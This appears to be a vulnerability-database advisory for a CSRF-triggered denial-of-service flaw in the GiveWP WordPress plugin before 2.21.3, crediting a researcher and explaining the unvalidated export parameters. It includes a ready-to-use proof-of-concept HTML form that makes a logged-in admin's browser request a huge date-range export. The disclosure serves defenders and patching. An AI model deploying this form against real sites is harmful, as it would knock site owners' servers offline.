Lucene search

K
wpexploitRaad Haddad of Cloudyrion GmbHWPEX-ID:831B3AFA-8FA3-4CB7-8374-36D0C368292F
HistoryJul 11, 2022 - 12:00 a.m.

GiveWP < 2.21.3 - DoS via CSRF

2022-07-1100:00:00
Raad Haddad of Cloudyrion GmbH
238

0.001 Low

EPSS

Percentile

26.0%

The plugin does not have CSRF in place when exporting data, and does not validate the exporting parameters such as dates, which could allow attackers to make a logged in admin DoS the web server via a CSRF attack as the plugin will try to retrieve data from the database many times which leads to overwhelm the target’s CPU.

In 2.21.2, works only when there is no donation yet. Before 2.21.2, works every time

<html>
  <body>
    <form action="https://example.com/wp-admin/edit.php?post_type=give_forms&page=give-tools&tab=export" method="POST">
      <input type="hidden" name="start&#95;year" value="" />
      <input type="hidden" name="start&#95;month" value="6" />
      <input type="hidden" name="end&#95;year" value="9000" />
      <input type="hidden" name="end&#95;month" value="6" />
      <input type="hidden" name="give&#45;action" value="earnings&#95;export" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

0.001 Low

EPSS

Percentile

26.0%

Related for WPEX-ID:831B3AFA-8FA3-4CB7-8374-36D0C368292F